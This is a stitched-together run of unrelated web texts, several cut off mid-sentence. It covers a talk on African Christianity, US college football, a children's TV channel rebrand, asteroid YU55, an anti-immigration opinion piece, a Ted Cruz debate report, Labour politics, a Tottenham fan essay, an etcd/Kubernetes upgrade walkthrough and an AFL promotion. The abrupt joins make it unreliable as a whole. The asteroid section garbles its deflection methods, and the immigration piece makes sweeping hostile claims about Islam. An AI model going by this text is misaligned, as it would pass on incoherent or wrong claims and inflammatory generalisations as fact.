But you know, African Christianity is also facing a lot of challenges. African Catholicism is facing challenges from Pentecostalism and so on. African Christianity itself is facing the challenge of being deeply rooted, not only in the culture but also in the Gospel. You might say that’s not peculiar to Africa, that this is the challenge everywhere, but Africa has its own brand of these challenges. Remember that these are young churches.
There’s also the question of institutional support for the church in Africa. I teach at Notre Dame, but we don’t have an equivalent of Notre Dame in Africa. The United States has a couple hundred Catholic colleges and universities, and Africa needs institutions like this. The first evangelization has happened, but it needs a second wave, which is both an institutional and an intellectual task. When we gather in a conference like this, it’s our little contribution to that effort. We need to give African Christianity and African Catholicism a thorough grounding in thinking, a thorough theological basis, and we want to see what we can do reflecting on this challenge.
Let’s talk about how the church in Africa may be different from the church in the West. Right now |
with a new head coach. It’s also at least possible that Peyton Manning will be gone, replaced by Andrew Luck. So Caldwell’s offensive system that was so important to Manning may no longer be necessary.
Caldwell wasn’t incompetent; he merely got stuck in a situation in which all of the pieces around him changed.Penn State offensive guard Connor McGovern is the Big Ten’s Freshman of the Week. The Nittany Lions’ offensive line helped paved the way for a 599-yard, 41-point outburst in a win over Iowa on Saturday evening at Beaver Stadium.
The 6-foot-5, 310-pound McGovern has played in every game this fall, starting the last five after taking over the right guard spot against Minnesota in October. Since then the Nittany Lions have won five straight and the team has averaged 38.8 points per game.
The Lake-Lehman graduate is just the third offensive lineman to win Big Ten weekly honors since the conference started giving out awards. Ohio State’s Korey Stringer (1994) and Michigan State’s Sean Poole (2004) each won conference Offensive Player of the Week honors. McGovern is the only offensive lineman to win Freshman of the Week honors.
A January enrollee, McGovern was a four-star prospect and the nation’s No. 3-rated center according to the 247Sports Composite rankings. He was a U.S. Army All-American before arriving at Penn State.Boomerang UK New Live Action Animation Idents
Turner EMEA (Europe, Middle East and Africa) has approached London-based creative media company – Nice Biscuits to produce 46 new idents for their classic animation/family entertainment Boomerang channel. The new idents are a combination of live-action/animation featuring children in a school gymnasium coaching a sports team comprising the channel’s main cartoon stars – Bugs Bunny, Daffy Duck, Tom and Jerry and Scooby-Doo. The addition of these new idents will be Boomerang’s biggest branding overhaul since the international rebrand in late 2014/early 2015.
All the live action footage for the 46 idents were shot in half a day, with Cartoon Network producing the character animations, both the live action footage and the animations were composed by Nice Biscuits’ Visual Effects department giving the magical appearance as if the cartoon characters were actually there while filming.
http://nicebiscuits.co.uk/project/cartoon-network-boomerang
http://www.lbbonline.com/work/14725/Massive asteroid hurtling towards Earth (but don't worry, scientists say it will just miss us)
Space rock YU55 will hurtle past our planet at a distance of just 201,700 miles on November 8
A massive asteroid will fly within the moon's orbit narrowly missing Earth later this year.
The space rock, called YU55, will hurtle past our planet at a distance of just 201,700 miles during its closest approach on November 8.
That is closer to Earth than the moon, which orbits 238,857miles away on average.
With a width of some 400metres and weighing 55million tons, YU55 will be the largest object to ever approach Earth so close.
HOW TO DEFLECT AN ASTEROID
Scientists have come up with a number of different ways of deflecting an incoming asteroid from its path, some more realistic than others.
Here are a few of the best ideas: Nuclear blast : A large nuclear explosion on an asteroid might be enough to deflect an asteroid but has significant political and ethical problems. And what if we just blew it into smaller pieces?
: A large nuclear explosion on an asteroid might be enough to deflect an asteroid but has significant political and ethical problems. And what if we just blew it into smaller pieces? Using mirrors : A fleet of spacecraft carrying light-reflecting mirrors might be able to vaporise the asteroid's surface using the Sun's rays. The gases from its surface would create a tiny amount of thrust - enough to divert it.
: A fleet of spacecraft carrying light-reflecting mirrors might be able to vaporise the asteroid's surface using the Sun's rays. The gases from its surface would create a tiny amount of thrust - enough to divert it. Gravity tractor: Crashing a spacecraft into the asteroid would certainly be the cheapest option. The ship's own tiny gravity would then help move the asteroid's path. But this option would take a long time to make a difference.
Despite YU55's close proximity to Earth, its gravitational pull on our planet will be 'immeasurably miniscule'.
Mr Yeomans added: 'During its closest approach, its gravitational effect on the Earth will be so miniscule as to be immeasurable. It will not affect the tides or anything else.'
It is, however, still officially labelled a 'potentially hazardous object' - if it was to hit Earth, it would exert a force the equivalent of 65,000 atomic bombs and leave a crater six miles wide and 2,000ft deep.
YU55 was discovered by Robert McMillan, head of the Nasa-funded Spacewatch Program at the University of Arizona, Tucson in December 2005.
It orbits the sun once every 14 years but will not collide with Earth for at least a century.
'YU55 poses no threat of an Earth collision over, at the very least, the next 100 years,' Mr Yeomans said.
Scientists around the world have long been discussing ways of deflecting potentially hazardous asteroids to prevent them hitting Earth.
One of the more popular methods is to detonate a nuclear warhead on an approaching asteroid to deflect it from its orbital path.
Last year, physicist David Dearborn of the Lawrence Livermore National Laboratory in the US argued that nuclear weapons could be the best strategy for avoiding an asteroid impact - especially for large asteroids and with little warning time.It seems that normal, everyday citizens of the civilized world may have finally reached their saturation point concerning immigration and the threat of radical Islam. And it's high time.
Thus far nearly 400,000 people in the U.K. have signed a government petition demanding the nation close its borders and suspend all immigration until ISIS is somehow "defeated."
The savage attacks in Paris apparently motivated citizens concerned with their own safety to finally sign the petition, which has actually been in circulation since September. The number of signatories has skyrocketed in the last two days and is likely to continue its upward climb.
An excerpt from the petition states:
“In February 2015 Dr Shea, Nato’s Deputy Assistant Secretary General for Emerging Security Challenges, warned there would be IS jihadists on the refugee boats. IS also threatened to flood Europe with 500,000 jihadists. “Allowing uncontrolled immigration and taking in these refugees potentially endangers the entire UK population. At any other time in our history this would be tantamount to a declaration of war and borders would be closed.”
Britain's parliament is now obligated to place the petition up for debate in the House of Commons, according to the form. When members of parliament will get around to doing so remains unclear.
While it is laudable that people of goodwill are finally deciding to take action, it is disappointing that they seem catalyzed only by the threat ISIS. ISIS is just the latest incarnation of Islamic jihad to plague the West. The siege on Western culture and its values has been well underway since even before the September 11 attacks. Steps need to be taken at all levels and against all groups in Western countries for whom Islam's violent tenets trump all else.
Meanwhile, it will be interesting to see when these petitioners are labeled as "far right" extremists by the mainstream media and other leftists more concerned with being labeled a bigot than they are that the good survive.
(h/t: Breitbart)Greetings Agonians,
The patch scheduled for today has been delayed until tomorrow due to last minute issues that are preventing us from getting it out the door. We are as disappointed as you guys about not patching today, and we extend our deepest apologies for our lack of delivery on our promised date.
With some of the changes planned to the persistence system and server configurations, it is also scheduled to be a longer downtime than normal which we would prefer to do outside of prime time. We will be taking the servers down shortly for a maintenance instead.
We know all of you have been eagerly awaiting the House Deed Crafting system and we greatly appreciate your patience. While you wait for the patch to go live, we wanted to present the recipes of the new components required to craft a deed to claim a housing plot. As you will see, there are new materials required for these components that you will be able to acquire out in the world in a variety of ways.
Join us in the discussion.
Sincerely,
- The Team at Big Picture GamesEditor's note: This story has been updated throughout.
CLEVELAND — If there's one thing Ted Cruz relishes, it's a confrontation.
Yet in his first outing on the presidential debate stage, the Texas senator found himself far away from the center of the action, largely above the fray while a handful of foes brawled in made-for-TV moments.
It was not entirely a surprise — Cruz has sworn off what he calls "Republican-on-Republican violence" — but it offered the clearest example yet of his approach to a fractured GOP field led by unpredictable billionaire Donald Trump. While Trump lobbed insults at candidates and moderators, Cruz managed to duck the rancor and convey his central pitch to Republican primary voters with little difficulty.
“We see lots of campaign conservatives, but if we’re going to win in 2016, we need a consistent conservative," Cruz said as the debate clock wound down, giving him one last chance to drive home his anti-establishment appeal.
Asked earlier in the debate about his polarizing reputation in Washington, he made no apology.
"If you're looking for someone to go to Washington to go along to get along... to agree with the career politicians in both parties who get in bed with the lobbyists of special interests, then I ain't your guy," Cruz replied.
Cruz's answer came between contentious exchanges between Trump and others on stage over everything from the businessman's sexist comments to his inflammatory views on illegal immigration. The debate was also lit up by a tense episode between New Jersey Gov. Chris Christie and U.S. Sen. Rand Paul sparked by a question about government surveillance.
After the debate, Cruz allies argued his performance showed what he has claimed all along — that he will not get bogged down in nasty intra-party squabbles on the path to the White House.
"He came across as a statesman," spokesman Rick Tyler told reporters. "He didn’t engage in the kind of back-and-forth bickering and arguing.”
"I see him tonight as very statesmanlike, very serious, and [he] demonstrated his fidelity to the Constitution even in the short amount of time he had," added state Sen. Brian Birdwell, R-Granbury.
The action-packed nature of the debate did not entirely work out in Cruz's favor. He seemed to receive less speaking time than the more assertive candidates, and at one point, he asked to interject before getting cut off by a commercial break.
Following the debate, Cruz surrogates said any campaign always wishes its candidate got more time to speak in a debate. Tyler specifically cited three topics the campaign had hoped Cruz would be asked about: the Affordable Care Act, religious freedom and President Barack Obama's nuclear deal with Iran.
The closest Cruz got to acknowledging the more raucous aspects of the debate was an allusion to Trump's comment that "stupid" political leaders are responsible for federal inaction on border security.
It’s not a question of stupidity," Cruz said. "It’s that they don’t want to enforce the immigration laws.”
It is on that issue that Cruz was anything but reluctant to a draw a broad contrast with the GOP field. He touted his efforts to derail the immigration reform bill initially supported by a fellow debater, U.S. Sen. Marco Rubio of Florida.
“A majority of the candidates on this stage have supported amnesty," Cruz said. "I have never supported amnesty."Loading... Loading...
Police militarization has been a hot button issue for quite some time, but it wasn’t until last year’s Ferguson riots — which erupted after a jury declined to bring charges against Darren Wilson, the police officer who shot and killed unarmed 18-year-old Michael Brown — that President Barack Obama decided to take action.
In May of 2015, the Obama administration decided to ban the sale of certain kinds of military equipment to police departments, leaving local law enforcement agents without access to items such as bayonets, armored vehicles, camouflage uniforms, large-caliber weapons and ammunition, and grenade launchers.
Facing harsh criticism from police, Obama defended his position, claiming, “We’ve seen how militarized gear can sometimes give people a feeling like they’re an occupying force.” Instead, Obama added, we should be working to make police “a force that’s part of the community that’s protecting them and serving them.”
Now, nearly one year after the Ferguson riots, Obama’s flirtation with demilitarization finally seems to be over.
According to Tech Dirt, the “dismantling of militarized police forces” is being put on hold as “Obama heads for the exit.” The act may have served as a response to the two recent shootings of Dallas and Baton Rouge police officers, Reuters reports.
During a meeting with “law enforcement leaders,” whom Tech Dirt calls “law enforcement lobbyists,” Jim Pasco, the executive director of the Fraternal Order of Police, and Bill Johnson, the executive director of the National Association of Police Organizations, urged Obama and Vice President Joe Biden “to reinstate military equipment such as helmets, grenade launchers and tracked armored vehicles to enhance officers’ safety and their ability to respond to violent riots.”
After the meeting, Pasco said the White House was under the impression that military gear “was intimidating to people, but they didn’t know the purpose it serves.” To the Fraternal Order of Police leader, a grenade launcher can be used to launch tear gas “for crowd control,” for instance.
According to Reuters, Obama urged White House chief legal counsel Neil Eggleston to review the 2015 ban shortly after the meeting.
But despite all the buzz the recent Dallas shooting has caused, Tech Dirt adds, “the recent clustering of officer deaths doesn’t put the nation on track for anything more than an average year of on-duty deaths,” making it hard for law enforcement lobbyists to maintain the position that “police need greater protections now.” [emphasis added]
Unfortunately, Tech Dirt concludes, Obama and Biden seem to have wasted no time “discussing the underlying causes of the protests officers are now facing” while meeting with law enforcement lobbyists. As Tech Dirt noted, none of those causes “will be resolved with increased police militarization.” Instead of standing by his own previous commitment to scale back militarization, Obama was quick to give into police pressure — proving once more that this administration’s seeming willingness to address the root causes behind the issues the United States now faces is nothing more than a slogan.
Help Us Be The Change We Wish To See In The World.When this piece was first conceived Labour and The Conservatives were in radically different places than today. The former looked ready to take its hands off the wheel and careen into the weeds. The latter was on the verge of establishing a de facto one party state for the coming parliament. This, for me, begged the question: what were social democrats, uninterested in the palace intrigue of Momentum, the PLP and the unions, to do?
A number of things then happened. The nation suffered a series of inconceivable traumas and the Conservative leadership made the costly miscalculation of fighting the election on personality. These things are not unrelated: national horror stirs national desires for solidarity and comfort – precisely the kind of solidarity that Mr. Corbyn can fence by the truckload. This desire for solidarity was diametrically opposed to the self-insisting “strength” and “stability” offered by Ms. May. Over the following weeks Britain and particularly its youth stopped valuing her “me” over “we”. The rest is recent history.
Does this swing invalidate the original question then? The facts are the facts but the truth is a moveable feast. Corbyn beat Miliband’s performance but fell short of Brown’s (a result he described at the time as “disastrous for New Labour”). North of the border Ruth Davidson turned Scotland blue – making her perhaps the only bona-fide winner on the 9th. When the afterglow of the election cools and this parliament gets to work will the animosity between the leadership and the PLP along with the self-destructive tendencies within Mr. Corbyn’s movement have miraculously self-corrected? If there is a truce, how long can it hold? When tested, will his momentum carry him through or evaporate?
These questions are as relevant as ever and their answers unclear. The first indications are that surprising election gains and a weak government aren’t enough to keep the opposition together. The shadow cabinet are openly divided on how the United Kingdom should leave the EU and the leadership is taking a course of action that will be an anathema to the young people who turned out for Corbyn.
So, again, taking the red tinted spectacles off and with jeopardy stalking every decision this government faces, what is the bi-partisan social democrat to do? People take issue with The Conservative Party for a whole host of reasons beyond policy. However, the party has in many respects the most liberal and socially progressive legislative agenda ever. It also has a record of being able to “get to work” when it needs to. So, where do grindable axes end and the will to co-operate for the sake of “the many” begin? This, I think is bigger than pragmatism (a euphemism for selling principles today in the hope you can sell them again in the future) but about the ability to carry bad tastes in the mouth when there are common policy goals. Who among the body politic is willing to do that and do they belong in The Labour Party?
Three questions, one answer:
Whether, whether and how. Whether it is right to support a Tory government, whether it is strategically useful and finally, how should that support manifest. As regards to whether it is morally right, this is perhaps the hardest circle to square and likely the place that most Labour supporters will fall down. Vilification of the “nasty party” is a learnt behaviour dyed in the wool of even part-time Labourites. Even the collective noun “Tories” is in most usages pejorative. The bile heaves spontaneously and often at the expense of reason, empathy, creativity, critical subtlety and many other qualities usually associated with intellectual life.
But why should this change? Through the decades, conservative governments have presided over policies that have demonstrably made us worse off collectively. Can there be room for compromise? Well, only if it is strategically useful. If in your mind any sort of collaboration is by definition a moral failure then you have already answered this second question: there can be for you no strategic usefulness because you have defined yourself with your antipathy for the bogeyman. This obsession with hating Tories is a peculiarly Labour phenomenon. By contrast, conservatives and liberals typically see socialists as inept rather than evil or cowardly.
The moral preoccupation crowds out the possibility of practical solutions. So, if we want to move forward we have to answer the moral question positively. If we do then we can answer the second question very easily indeed. If any activity other than winning elections (something Labour has a fairly miserable record in) helps us achieve our political aims then that activity is worth pursuit – even if it muddies aleigences.
Now we can ask how how best to engage with a Conservative government. The opposition has a duty to oppose. It would be a betrayal of the principles of our democracy to stand “shoulder to shoulder” in anything other that crises. But how effective can this opposition be and how representative will it be of the people upon whom its built? At the issue level, I wonder who is a better candidate for compromise: a conservative government lacking in self confidence and with chief enforcers evicted or a Labour leadership riding on an only partly justified sense of vindication. And what remains of those criticisms of Corbyn which remain unresolved? Where is the platform for them now? To my mind a hypocritical Conservative association with the DUP doesn’t excuse him from scrutiny of his own relations with divisive republicans.
Hope and hype:
The fear has to be that an arrogant Labour leadership will be more closed and unresponsive than ever. A palace coup feels highly unlikely in this climate but that alone won’t make Corbyn’s opposition any less useless in advancing its agenda. “Holding the government to account” is a phrase that’s too easy to tell crowds who are already on side. Without a strategy or alignment on objectives we have to assume that the traditional mechanisms of opposition will be unavailable to us.
We also can’t depend on The Conservative Party making mistakes that leave vacuums for Corbyn’s touchy-feely politics. Theresa May and her team will learn from the PR errors over the election and Grenfell Tower because they caused them to yield their hegemony over the media. We have no reason to suppose Labour won’t continue to struggle to make itself heard on its own terms.
So, what about the question? The irony is if Labour’s fundamentals were in order we wouldn’t be asking it, but the weaker the party becomes the more dangerous any sign of unqualified support becomes. We have to look at the nature of opposition differently. There are areas of real common ground between social democrats of all stripes across all parties and it is these areas that should be the basis of an agenda – they fulfill our aims and they will be strategically useful for left-of-right Conservatives looking to reign in their party’s more irreverent elements. The Conservative Party has no right owning policies such as workers on corporate boards but it’s only because Labour hasn’t stepped up to claim them – preferring civil war and partisanship. More than being merely boorish it holds those policies back. The issues where we agree are an opportunity to jettison Corbyn and even the PLP when they are of no use. Finally, they are an opportunity to complicate the story partisan critics on all sides would have to tell. In a political climate riddled with doubt, jitters and low-self esteem they can’t be anything than a strategic asset.
This is a warning that that it’s only hope and hype that is tying Labour together and that The Conservative Party will only tolerate weakness for so long. There might not be a socialist case for supporting The Conservative Party but it does behoove social democrats of all colours to prevent its current dysfunctionality birthing an uglier beast than even most conservatives would like. If Labour isn’t the institution to do this then we have to be willing to throw our hat in wherever it’s called for.
Thom Dinsdale
*The views expressed in this article are that of the individual and do not represent those of The Cabinet as an entity.Interesting perspective from the outside looking in via a Manchester United supporter discussing Tottenham and what should be considered our genuine standing and ambitions compared to others relative to the set-up Daniel Levy has crafted at the Lane.
For the three related posts in their original form, click on this link - http://www.reddit.com/r/coys/comments/20ogto/saw_this_on_one_of_the_spurs_boardsa_fairly/ - shared via Man Utd forum (not sure which one). It's also on the Spurs Community so you might have seen this already.
It's interesting because we are obviously biased with our opinions as Tottenham fans because of our emotional connection to the club and our desire to see us achieve tangible success, however there is one point that resonates and reminds me of a comment Levy stated a number of years ago where he admitted that Champions League qualification would never be a certainty from one season to the next even when competing on the same level as the competition (something we've arguably still not achieved).
I guess the question is - does our perspective control reality to the point where it bends out of view?
I've worked through the posts below. It's a stream of consciousness, so haven't had time to edit or attempt a more fluid arc to it. You should know me well enough by now. Just wanted to get my thoughts down to work out if I agreed with the posts or not.
Quoted italics are the comments taken from the Reddit link above.
1st post
He'd taken them as far as Tottenham could go. That's what in my opinion fans of all clubs, not just Spurs and the media get things wrong. In my opinion the majority of people who follow football don't seem to recognize the extent to which a club is limited by it's financial strength. The fact this thread exist kind of demonstrates that. Spurs will have the 7th highest wage bill and will finish in the top 7. They will be way behind the other 6 teams in the top 7 in terms of wages and turnover. Yet apparently they are apparently becoming a bit of a joke. They are actually doing perfectly well, in fact possible a bit better than they should be given their size. The idea that Redknapp had taken them as far as he could seems flawed to me as it suggests another manager could have taken them even further, which when you look at how things are in football these days, that is hugely unlikely. When you look at the size of their wage bill it would incredibly hard to attract better players. They've tried on several occasions to higher "tactical coaches" to bridge the gap, but anyone who still believes in them is deluded if you ask me. The truth is under Redknapp they over achieved and he was rightly lauded in the media, though this didn't sit well with lots of football fans as he isn't popular. Now they are still doing well all things considered. There net transfer spend over the last 5 years is very low and their spending on wages is much lower than the teams above them. They just don't have the scale to threaten at the top of the league. You need to be amssive club that can generate a huge income or be owned by wealthy benefactors.
One of the biggest discussion points about Levy and Spurs surrounds the eternal struggle with how well the club is run on a fiscal level in terms of profit, net spend, remaining competitive in the transfer market (considering top level players are always out of our reach because of Champions League and wage structures elsewhere) compared to the disappointment of being the seasoned nearly men. Levy is perpetually under scrutiny for not speculating further at pivotal moments in the season or perhaps allowing the football to mature over time rather than cater for the short-termism that exists with managerial appointments in the Premier League (by chopping and changing regularly).
There is no debating that in terms of financial health, there is a minor little miracle at play. Sure, if you compare wage bills and turnover (due to the 36k capacity) we are held back in many ways although the statue of the club and the fact it's London based has always meant that aside from the true 'giants' in England we are always the best option outside the title-challenging group of teams.
Are we a joke? I don't really care about opposing fans suggesting that, neither do I care much about the media who are more or less as flaky and irresponsible with their ever changing narratives thanks to their personal agenda to remain relative with opinion and always come across as being correct. So sure, we're doing well if you compare us with other clubs above us and around us but at the same time this is proving detrimental because it's now created a new culture of comfort where it's perfectly acceptable to 'almost' get there. Add to it the fact that some of the signings we make are considered world class or just below that standard are standing on a stepping-stone allowing them to move onto bigger and better things.
Although we rarely sell our very best players to clubs in the same league (not in recent seasons, thus side-stepping making rivals stronger) losing the players to a continental side will cause unavoidable impact. We get weaker, others will be stronger because of it. Losing our best players means we are forever having to rebuild vital areas of the team, sometimes changing the style completely and therefore influencing an overhaul across the squad.
Did Redknapp take us as far as he could? Although his tenure ended due to the problematic nature of his relationship with Levy and the England job, maybe it was as good as it got if you take the above realisation that we are currently bottlenecked from achieving more simply because of the limitations on what we can offer to prospective signings. This is the area of the discussion that can be pulled apart and argued over and over again because regardless of the limitations, we have still found ourselves in amongst it in the past.
Had Jermain Defoe got his toes to the ball in the game up at the Eastlands we would have won rather than lose 3-2. That moment has nothing to do with money or wage bills. It was luck. It was football. Had we won, the belief alone might have elevated us to the next level. Momentum is a powerful weapon. I guess it's a little bit like a boxer throwing a punch and missing, only to go on and lose on points. The you don't get to have that re-match as you watch others go toe to toe with him whilst you become the forgotten challenger.
Redknapp leaving and a more progressive coach entering the fray was meant to give us that extra missing dimension - possibly more to do with the tie in with the new academy and promoting the brand of THFC as modern and scientific (as opposed to wheeling and dealing our way through the season). The reality (as suggested in the article from the Utd fan) is that the tools available along with the system that backs it up is the exact same one that Redknapp had - except Andre Villas-Boas also had a director of football added to the mix. The constraints are still there meaning the job remains a difficult one. Redknapp rode the wave thanks to his recovery job he was appointed for. It blossomed. Him and Martin Jol, accidental managers - the only two times we've got lucky rather than strategically planning improvement. Proving that the chaos theory is prone to visiting and influencing events in N17.
What's interesting for me is the lack of apparent flexibility with any given appointment. If the job *is* this difficult and we are up against it (remember Levy once commented that CL football would not be attainable every season for any given club at the top because of the nature of competition) then why does it feel so fatalistic when we dip in form and why are coaches not given time to build over seasons? Perhaps the system at play, the chopping and changing, helps retain the club at a competitive level even if it remains frustrating as supporters. Jol was replaced with Juande Ramos, the idea again was for a more progressive approach but this particular appointed came to be because behind the scenes wanted to upgrade. Jol was going through a stale patch. Had he taken us as far as he could? We've never stuck with someone through the bad patch since our renaissance from mid-table to 5th to 4th spot marauders.
Yes, upgrading is to the prerogative of the chairman especially if there are reasons that we fans are not privy to as well as any obvious to see issues with the football. Perhaps every single chop and change made was unavoidable. If so - was it unavoidable because of the relationship (or lack of) between coach and chairman?
Did we over-achieve under Harry Redknapp?
Yes and no. Redknapp had his tactical limitations (doesn't everyone?) and we achieved exactly what we always need to be achieving as a football club - entertaining football. Absolutely no argument that we played some of the very best football (attractive is an under-statement) in the country. We also had backbone and took advantage of other clubs going through states of flux. However, we faltered towards the business end of the season too often, costing us third spot. So there's an argument to be made that we under-achieved or possibly even failed to over-achieve at a consistent level - enough to consolidate Champions League more than once.
Ignoring the form and transitional periods other clubs were going through, Spurs failed to retain the level of football when clubs wised up to our style. A testament to what we achieved in many ways, that clubs turned up and parked the bus at the Lane. What Redknapp wasn't capable of was to find a way through. We stagnated. The standard of the football dropped as we struggled to score. Hence that desire to have a more progressive coach (who had the exact same issues) or simply someone new to have a go at improving us. Obviously, that didn't quite work out either.
We don't have the scale to threaten at the top of the league if you simply compare the difference in wealth, but the points on the table (up until recently) proves there is currently not a lot in it. Although we're hardly in tip top shape to consider anything more than what we have. With Spurs, regardless of the fact Chelsea and Manchester City have ridiculous squad depth - what truly limits us is the fact that we lack the fortitude and mental strength to see something through to the end. A perfect way to illustrate this is that we posses players that want CL football but aren't willing to earn it. That culture of comfort allowing for excuses to kick in, the moment we have a wobble. We do well when there's a change, it then goes wrong, we then enforce another change. Repeat till fade.
As for aligning our support and expectations - this is the area, the perspective, that can make things look great one moment and at crisis point the next. Are things as bad as they look? No. But this isn't about Spurs being in a unrecoverable mess. This is about Spurs not being able to break out of the cycle they find themselves in. A cycle that allows us to retain an edge, to be up there with the rest and to sign quality players - but a cycle that doesn't allow for continuity in terms of the football. What I mean is, the base is there to support the signings of players and attract coaches to the job. Spurs are an option as an outsider that is easily accessible and just about trendy enough for those that can not quite seek a contract at City, Utd and Chelsea.
But with competition from Liverpool and Arsenal, it means that we have to retain a presence to keep the attraction at a premium. To do that, its not a question of how much money in the bank we have, but rather how well we appear to be doing with fighting towards the top four (the modern day be all and end all of football). Spurs have to keep up appearances. That's what the system allows for. As fans, we want more than this because the football suggests its a probable ambition to aspire for it.
Ultimately Spurs seem to consistently finish top of the also rans, which actually shows how well run they are. Yet due to their relatively large fan base and tradition they manage to somehow keep themselves seemingly relevant in discussions about who is going to win things each season and fight for the top 4. This makes them look like perennial losers, when if anything, for close to a decade now they have been one of the most effectively run clubs in the world. The truth is Spurs board should be congratulated, but they don't actually want that. They've got a nice little business model going and it's very well served by everyone talking about them as failed big club, rather than the truth, which is a very successful mid sized club. Levy and ENIC bought the club for about £30 million and have since gone about turning it into a £300-£400 million club, by keeping their fans believing they are close. They've built a brilliant training facility, have plans for a great stadium which Levy seems to be using every trick in the book to make others pay for and they have consistent European football and flirt with the big boys. But even though between them they are very wealthy, there is no chance Levy and Lewis would do what is needed to give Spurs a real chance of success.
So this part summarises what I spoke about above. The thing of note is the perspective we have as fans. We see our failings as managerial (from board level to coach) issues that are continually repeated even though the expectancy is that there is usually always three or four clubs better suited for the positions from 1st down to 4th than we are. But as I alluded to, in the past two seasons we've lost out by a mere couple of points so even though we're not meant to be challenging, even if we're over-achieving - we've failed only because of mistakes on the pitch - nothing to do with fiscal stature or anything else outside of 90 minutes of play. Unless you're going to suggest if we had more money the players would be even better and wouldn't make those mistakes.
'A nice little business' is probably why so many Spurs fans spit blood about our predicament. That cycle we can't break out of is one that the board and chairman don't mind navigating through as it doesn't hurt the business model. Sure, it means we're safe as houses as a club in an era where some have struggled but that leaves us in limbo. Are we meant to wait for that luck to shine on us? Get a break and another adventure with the elite of Europe before waiting a further 4/5 years for another shot? Even if that is the reality of our placement with the clubs around us, is it acceptable to just shrug and allow it to play out without question? As supporters, we can't hold back. Hearts on sleeves is what defines us. We have to dream and hope for more because dreaming and hoping are the fundamental building blocks of support. If we accept we are perennial losers (tbh, Spurs fans are self-deprecating to a level to know this regardless) then the buzz out of the game will diminish.
The key thing from the article so far is that ENIC have taken us into the realms of 14th (thereabouts) richest club in Europe and worth a packet in valuation along with the new state of the art training centre and the rubble around White Hart Lane that is meant to be the Northumberland Development Project that currently resides in the shadow of a supermarket. Now long term wise - for the sake of continuity beyond any this and next season - you would believe when it all falls into place that Spurs will break into the next tier thanks to the added value of revenue a new stadium will bring. Sadly, by the time that happens, Arsenal will have paid off their debts and all the revenue they make on match-days will elevate them to the next tier of pulling power. We'll always be chasing the same 3/4 clubs thanks to the Sky Sports era and the billionaire playboy owners. This isn't so much a negative (because we'll still attract the players) but a reminder that we're playing catch-up. Very very slowly. Which leads us onto this statement (made in the article):
...there is no chance Levy and Lewis would do what is needed to give Spurs a real chance of success.
Followed by:
Levy is by far the most intelligent man in football. He's got a 1 |
ctl get /somename/key
value
$ etcdctl update /somename/key value2
On yet another one:
$ etcdctl get /somename/key
value2
Migrate Existing Data to v3
We are almost there - the one thing left is to migrate the existing data to the v3 format. Here again, the etcdctl tool can help, however, for some unknown reason, the version installed on CoreOS is still 2.3.7 while we need v3 to do the migration. This issue caused us a lot of headaches and eventually, our colleague came up with the following solution.
Download the desired etcdctl 3 version:
$ wget https://github.com/coreos/etcd/releases/download/v3.2.0/etcd-v3.2.0-linux-amd64.tar.gz
and use the downloaded binary directly:
$ ETCDCTL_API=3./etcdctl migrate --data-dir=/var/lib/etcd
Please note the environment variable pointing version 3 explicitly.
After the command returns, we have the data migrated to the etcd3 format.
That's it - we are now running etcd in version 3!
etcd - Post Upgrade
At the end, it's good to establish a proper systemd default presets policy so etcd-member is enabled by default.
Replace ‘etcd2.service’ with ‘etcd-member.service’ in
/etc/systemd/system-preset/20-ignition.preset
Refresh:
$ systemctl daemon-reload
Verify:
$ systemctl status etcd-member ● etcd-member.service - etcd (System Application Container) Loaded: loaded (/usr/lib/systemd/system/etcd-member.service; enabled; vendor preset: enabled)
The same check for etcd2 should state that vendor presets are disabled.
What were we here for... ah, Kubernetes. Let's go on with our main task!
Upgrade Kubernetes
This actually appears quite simple - the thing to do is updating the kubelet version in an environment variable defined in the kubelet.service systemd unit.
Additionally, we change the name of the variable from KUBELET_VERSION to the currently preferred KUBELET_IMAGE_TAG. It is not mandatory since the old one is still supported, but it's better to follow the latest conventions.
Bump Version
Update kubelet.service starting from the master node and later continuing with worker nodes.
Replace
KUBELET_VERSION=v1.5.2_coreos.0
with
KUBELET_IMAGE_TAG=v1.6.1_coreos.0
Refresh systemd units:
$ systemctl daemon-reload
Restart kubelet:
$ systemctl restart kubelet
Now Kubernetes should start, downloading the new binaries behind the scenes. Error messages about “Orphaned pods” can be ignored.
Finally, update the manifests of the static pods. Check which manifests need editing:
$ grep -R v1.5.2_coreos.0 /etc/kubernetes/manifests/* /etc/kubernetes/manifests/kube-apiserver.yaml: image: quay.io/coreos/hyperkube:v1.5.2_coreos.0 /etc/kubernetes/manifests/kube-controller-manager.yaml: image: quay.io/coreos/hyperkube:v1.5.2_coreos.0 /etc/kubernetes/manifests/kube-proxy.yaml: image: quay.io/coreos/hyperkube:v1.5.2_coreos.0 /etc/kubernetes/manifests/kube-scheduler.yaml: image: quay.io/coreos/hyperkube:v1.5.2_coreos.0
and adjust versions in all manifest YAML files listed by the above command.
Finally, restart kubelet.service one more time:
$ systemctl restart kubelet
After finishing the steps above on master and workers list all nodes:
$ kubectl get nodes
You should see them all with the new version: v1.6.1+coreos.0
Bring the Kubernetes Cluster Back to the Operating State
Although we have upgraded and started all nodes, they are still in a "SchedulingDisabled" state due to draining them at the very beginning:
$ kubectl get nodes
shows "Ready,SchedulingDisabled".
In order to enable scheduling to repeat the following for each node:
$ kubectl uncordon my_node_name
node my_node_name uncordoned
and check again:
$ kubectl get nodes
It should display a "Ready" status for all nodes.
Replication controllers should now start scheduling pods on the nodes.
In case you use Kubernetes Dashboard, the new version has to be installed: https://github.com/kubernetes/dashboard/releases.
Congratulations, you are now a happy Kubernetes 1.6 user!
Post Upgrade
The only thing left, not mandatory yet still important, is compliance with the Ignition configuration with the current state of the cluster. It is necessary in the case of automated reinstallation of an existing node or bringing up a new one.
But this is a topic for another post.ADELAIDE, AUSTRALIA - MAY 28: Wayne Milera and Eddie Betts of the Crows celebrate a goal during the 2016 AFL Round 10 match between the Adelaide Crows and the GWS Giants at Adelaide Oval on May 28, 2016 in Adelaide, Australia. (Photo by James Elsby/AFL Media)
The first of Adelaide’s Sunday Fundays is this weekend with free General Admission access to children for the clash with St Kilda at Adelaide Oval.
Tickets are available through Ticketek
Crows Chief Executive Officer Andrew Fagan said it was about giving back to supporters.
“We are always looking at different ways to engage with our fans and we want our matches to be as accessible to as many people as possible,” Fagan said.
“Sunday Funday gives our younger supporters and their families a great opportunity to attend a game at a reduced cost.
“A highlight for the children is the expanded Crows Kids Zone, which includes a Mini Draft Camp as well as kicking and handball zones and a range of interactive activities.”
Ticket arrangements:
- Free junior general admission with the purchase of any other general admission ticket (any other tickets will be charged at the regular retail price, transaction fees will apply)
